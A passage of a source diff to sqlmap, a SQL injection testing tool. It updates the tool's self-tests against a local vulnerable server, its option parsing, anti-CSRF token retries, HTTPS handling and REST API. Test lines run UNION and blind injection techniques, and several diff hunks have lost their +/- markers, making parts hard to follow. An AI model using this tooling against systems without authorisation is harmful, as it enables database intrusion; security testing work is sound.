        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
        ("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
        ("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
@@ -85,9 +89,13 @@ def vulnTest():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
-            break
+            s.send(b"GET / HTTP/1.0\r\n\r\n")
            if b"vulnserver" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()
    handle, config = tempfile.mkstemp(suffix=".conf")
    os.close(handle)
@@ -120,7 +128,10 @@ def vulnTest():
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
-        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
+        for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
            options = options.replace(tag, value)
        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
        if "<tmp>" in cmd:
            handle, tmp = tempfile.mkstemp()
@@ -326,7 +337,7 @@ def smokeTest():
    count, length = 0, 0
    for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
            continue
        for filename in files:
@@ -334,7 +345,7 @@ def smokeTest():
                length += 1
    for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
            continue
        for filename in files:
--- a/lib/core/threads.py
+++ b/lib/core/threads.py
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapThreadException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
    except Exception as ex:
        from lib.core.common import getSafeExString
-        if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
+        if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
            errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
            logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -267,6 +267,9 @@ def cmdLineParser(argv=None):
        request.add_argument("--csrf-method", dest="csrfMethod",
            help="HTTP method to use during anti-CSRF token page visit")
        request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
            help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
        request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
            help="Force usage of SSL/HTTPS")
@@ -616,6 +619,12 @@ def cmdLineParser(argv=None):
        general.add_argument("--answers", dest="answers",
            help="Set predefined answers (e.g. \"quit=N,follow=N\")")
        general.add_argument("--base64", dest="base64Parameter",
            help="Parameter(s) containing Base64 encoded data")
        general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
            help="Use URL and filename safe Base64 alphabet (RFC 4648)")
        general.add_argument("--batch", dest="batch", action="store_true",
            help="Never ask for user input, use the default behavior")
@@ -674,7 +683,10 @@ def cmdLineParser(argv=None):
            help="Parse and display DBMS error messages from responses")
        general.add_argument("--preprocess", dest="preprocess",
-            help="Use given script(s) for preprocessing of response data")
+            help="Use given script(s) for preprocessing (request)")
        general.add_argument("--postprocess", dest="postprocess",
            help="Use given script(s) for postprocessing (response)")
        general.add_argument("--repair", dest="repair", action="store_true",
            help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
@@ -746,9 +758,6 @@ def cmdLineParser(argv=None):
            help="Simple wizard interface for beginner users")
        # Hidden and/or experimental options
        parser.add_argument("--base64", dest="base64Parameter",
            help=SUPPRESS)  # "Parameter(s) containing Base64 encoded values"
        parser.add_argument("--crack", dest="hashFile",
            help=SUPPRESS)  # "Load and crack hashes from a file (standalone)"
@@ -857,7 +866,7 @@ def cmdLineParser(argv=None):
        _ = []
        advancedHelp = True
        extraHeaders = []
-        tamperIndex = None
+        auxIndexes = {}
        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
        for arg in argv:
@@ -916,18 +925,25 @@ def cmdLineParser(argv=None):
            except ValueError as ex:
                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
        longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
        longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
        for i in xrange(len(argv)):
-            longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
+            # Reference: https://en.wiktionary.org/wiki/-
-            longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
+            argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
            # Reference: https://unicode-table.com/en/sets/quotation-marks/
            argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
            if argv[i] == "-hh":
                argv[i] = "-h"
            elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
                argv[i] = "--url=%s" % argv[i]
            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
-                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
+                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
-                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
+                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
                raise SystemExit
            elif re.search(r"\A-\w=.+", argv[i]):
                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
@@ -939,17 +955,25 @@ def cmdLineParser(argv=None):
                argv[i] = ""
            elif argv[i] in DEPRECATED_OPTIONS:
                argv[i] = ""
-            elif argv[i].startswith("--tamper"):
+            elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
-                if tamperIndex is None:
+                key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
-                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                index = auxIndexes.get(key, None)
                if index is None:
                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                    auxIndexes[key] = index
                else:
-                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    delimiter = ','
                    argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
                    argv[i] = ""
-            elif argv[i] == "-H":
+            elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
-                if i + 1 < len(argv):
+                if '=' in argv[i]:
                    extraHeaders.append(argv[i].split('=', 1)[1])
                elif i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif argv[i] == "--deps":
                argv[i] = "--dependencies"
            elif argv[i] == "--disable-colouring":
                argv[i] = "--disable-coloring"
            elif argv[i] == "-r":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
@@ -982,7 +1006,7 @@ def cmdLineParser(argv=None):
        for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
-                    conf.verbose = verbosity.count('v') + 1
+                    conf.verbose = verbosity.count('v')
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                kb.pageEncoding = "utf-8"
-                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                if page and page.startswith(b"\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                    page = page[3:]
            page = getUnicode(page, kb.pageEncoding)
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
-    if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
+    if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
        rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
        identYwaf.non_blind.clear()
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
    if any((conf.string, conf.notString, conf.regexp)):
        rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
-        # String to match in page when the query is True and/or valid
+        # String to match in page when the query is True
        if conf.string:
            return conf.string in rawResponse
-        # String to match in page when the query is False and/or invalid
+        # String to match in page when the query is False
        if conf.notString:
-            return conf.notString not in rawResponse
+            if conf.notString in rawResponse:
                return False
            else:
                if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
                    return None
                else:
                    return True
        # Regular expression to match in page when the query is True and/or valid
        if conf.regexp:
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -83,9 +83,9 @@ from lib.core.enums import WEB_PLATFORM
 from lib.core.exception import SqlmapCompressionException
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapTokenException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
@@ -501,6 +501,16 @@ class Connect(object):
                else:
                    return None, None, None
                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = "error occurred while running preprocess "
                        errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers
                requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
@@ -539,7 +549,7 @@ class Connect(object):
                conn = _urllib.request.urlopen(req)
                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
-                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
+                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
@@ -787,7 +797,7 @@ class Connect(object):
                    kb.connErrorChoice = readInput(message, default='N', boolean=True)
                if kb.connErrorChoice is False:
-                    raise SqlmapUserQuitException
+                    raise SqlmapSkipTargetException
            if "forcibly closed" in tbMsg:
                logger.critical(warnMsg)
@@ -815,11 +825,11 @@ class Connect(object):
                else:
                    page = getUnicode(page)
-            for function in kb.preprocessFunctions:
+            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
-                    errMsg = "error occurred while running preprocess "
+                    errMsg = "error occurred while running postprocess "
                    errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)
@@ -1045,6 +1055,8 @@ class Connect(object):
                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
        if conf.csrfToken:
            token = AttribDict()
            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString
@@ -1061,65 +1073,78 @@ class Connect(object):
                return retVal
-            token = AttribDict()
+            for attempt in xrange(conf.csrfRetries + 1):
-            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
+                if token:
-            page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
+                    break
-            match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
+                if attempt > 0:
                    warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                    warnMsg += ". sqlmap is going to retry the request"
                    logger.warn(warnMsg)
-            if not match:
+                page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-                match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
+                page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
                match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
                if not match:
-                    match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
+                    match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
                    if not match:
-                        match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
+                        match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
                        if not match:
-                            match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
+                            match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
-            if match:
+                            if not match:
-                token.name, token.value = match.group("name"), match.group("value")
+                                match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
                                if not match:
                                    match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
                match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
                if match:
-                    token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
+                    token.name, token.value = match.group("name"), match.group("value")
-            if not token:
+                    match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
-                if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
+                    if match:
-                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
+                        token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
                        token.name = conf.csrfToken
                        token.value = page
                if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
                    for _ in conf.cj:
                        if re.search(conf.csrfToken, _.name, re.I):
                            token.name, token.value = _.name, _.value
                            if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                if post:
                                    post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                elif get:
                                    get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                else:
                                    get = "%s=%s" % (token.name, token.value)
                            break
                if not token:
-                    errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
+                    if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
-                    if not conf.csrfUrl:
+                        if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
-                        errMsg += ". You can try to rerun by providing "
+                            token.name = conf.csrfToken
-                        errMsg += "a valid value for option '--csrf-url'"
+                            token.value = page
-                    raise SqlmapTokenException(errMsg)
+
                    if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
                        for _ in conf.cj:
                            if re.search(conf.csrfToken, _.name, re.I):
                                token.name, token.value = _.name, _.value
                                if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                    if post:
                                        post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    elif get:
                                        get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    else:
                                        get = "%s=%s" % (token.name, token.value)
                                break
            if not token:
                errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                if not conf.csrfUrl:
                    errMsg += ". You can try to rerun by providing "
                    errMsg += "a valid value for option '--csrf-url'"
                raise SqlmapTokenException(errMsg)
            if token:
                token.value = token.value.strip("'\"")
-                for candidate in (PLACE.GET, PLACE.POST):
+                for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
                    if candidate in conf.parameters:
-                        if candidate == PLACE.GET and get:
+                        if candidate == PLACE.URI and uri:
                            uri = _adjustParameter(uri, token.name, token.value)
                        elif candidate == PLACE.GET and get:
                            get = _adjustParameter(get, token.name, token.value)
-                        elif candidate == PLACE.POST and post:
+                        elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                            post = _adjustParameter(post, token.name, token.value)
                for i in xrange(len(conf.httpHeaders)):
@@ -1150,7 +1175,7 @@ class Connect(object):
        if conf.evalCode:
            delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
-            variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
+            variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
            originals = {}
            if not get and PLACE.URI in conf.parameters:
@@ -1218,6 +1243,7 @@ class Connect(object):
                    variables[unsafeVariableNaming(variable)] = value
            uri = variables["uri"]
            cookie = variables["cookie"]
            for name, value in variables.items():
                if name != "__builtins__" and originals.get(name, "") != value:
--- a/lib/request/httpshandler.py
+++ b/lib/request/httpshandler.py
@@ -11,6 +11,8 @@ import socket
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
 from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -27,6 +29,7 @@ except ImportError:
 _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
 _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
 _contexts = {}
 class HTTPSConnection(_http_client.HTTPSConnection):
    """
@@ -36,6 +39,14 @@ class HTTPSConnection(_http_client.HTTPSConnection):
    """
    def __init__(self, *args, **kwargs):
        # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
        if hasattr(ssl, "_create_default_https_context"):
            if None not in _contexts:
                _contexts[None] = ssl._create_default_https_context()
            kwargs["context"] = _contexts[None]
        self.retrying = False
        _http_client.HTTPSConnection.__init__(self, *args, **kwargs)
    def connect(self):
@@ -51,14 +62,15 @@ class HTTPSConnection(_http_client.HTTPSConnection):
        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
-            for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
+            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                try:
                    sock = create_sock()
-                    context = ssl.SSLContext(protocol)
+                    if protocol not in _contexts:
-                    _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
+                        _contexts[protocol] = ssl.SSLContext(protocol)
-                    if _:
+                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
                    if result:
                        success = True
-                        self.sock = _
+                        self.sock = result
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
@@ -93,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
            # Reference: https://docs.python.org/2/library/ssl.html
            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
                errMsg += " (please retry with Python >= 2.7.9)"
            if kb.sslSuccess and not self.retrying:
                self.retrying = True
                for _ in xrange(conf.retries):
                    try:
                        self.connect()
                    except SqlmapConnectionException:
                        pass
                    else:
                        return
            raise SqlmapConnectionException(errMsg)
        else:
            kb.sslSuccess = True
 class HTTPSHandler(_urllib.request.HTTPSHandler):
    def https_open(self, req):
--- a/lib/request/redirecthandler.py
+++ b/lib/request/redirecthandler.py
@@ -153,17 +153,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                    result.info()
                except AttributeError:
                    def _(self):
-                        return getattr(self, "hdrs") or {}
+                        return getattr(self, "hdrs", {})
                    result.info = types.MethodType(_, result)
                if not hasattr(result, "read"):
                    def _(self, length=None):
                        try:
-                            retVal = getSafeExString(ex)
+                            retVal = getSafeExString(ex)        # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
                        except:
                            retVal = ""
-                        finally:
+                        return retVal
-                            return retVal
+
                    result.read = types.MethodType(_, result)
                if not getattr(result, "url", None):
--- a/lib/takeover/registry.py
+++ b/lib/takeover/registry.py
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 import os
 from lib.core.common import openFile
 from lib.core.common import randomStr
 from lib.core.data import conf
 from lib.core.data import logger
@@ -48,7 +49,7 @@ class Registry(object):
        )
    def _createLocalBatchFile(self):
-        self._batPathFp = open(self._batPathLocal, "w")
+        self._batPathFp = openFile(self._batPathLocal, "w")
        if self._operation == REGISTRY_OPERATION.READ:
            lines = self._batRead
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -137,7 +137,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
        if partialValue:
            firstChar = len(partialValue)
-        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
+        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            firstChar = 0
        elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
@@ -148,7 +148,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
        else:
            firstChar = 0
-        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
+        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            lastChar = 0
        elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
--- a/lib/techniques/union/use.py
+++ b/lib/techniques/union/use.py
@@ -167,6 +167,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
            elif re.search(r"ORDER BY [^ ]+\Z", expression):
                debugMsg = "retrying failed SQL query without the ORDER BY clause"
                logger.debug(debugMsg)
                expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]
--- a/lib/utils/api.py
+++ b/lib/utils/api.py
@@ -49,6 +49,7 @@ from lib.core.settings import IS_WIN
 from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
@@ -60,6 +61,7 @@ from thirdparty.bottle.bottle import request
 from thirdparty.bottle.bottle import response
 from thirdparty.bottle.bottle import run
 from thirdparty.bottle.bottle import server_names
 from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import input as _input
 from thirdparty.six.moves import urllib as _urllib
@@ -657,6 +659,15 @@ def download(taskid, target, filename):
        logger.warning("[%s] File does not exist %s" % (taskid, target))
        return jsonize({"success": False, "message": "File does not exist"})
@get("/version")
 def version(token=None):
    """
    Fetch server version
    """
    logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr))
    return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]})
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
    """
    REST-JSON API server
@@ -707,7 +718,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
            errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
        else:
            errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
-            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
+            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter)
        logger.critical(errMsg)
 def _client(url, options=None):
@@ -760,7 +771,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
            logger.critical(errMsg)
            return
-    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
+    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit")
    autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
    taskid = None
@@ -849,6 +860,13 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                continue
            logger.info("Switching to task ID '%s' " % taskid)
        elif command in ("version",):
            raw = _client("%s/%s" % (addr, command))
            res = dejsonize(raw)
            if not res["success"]:
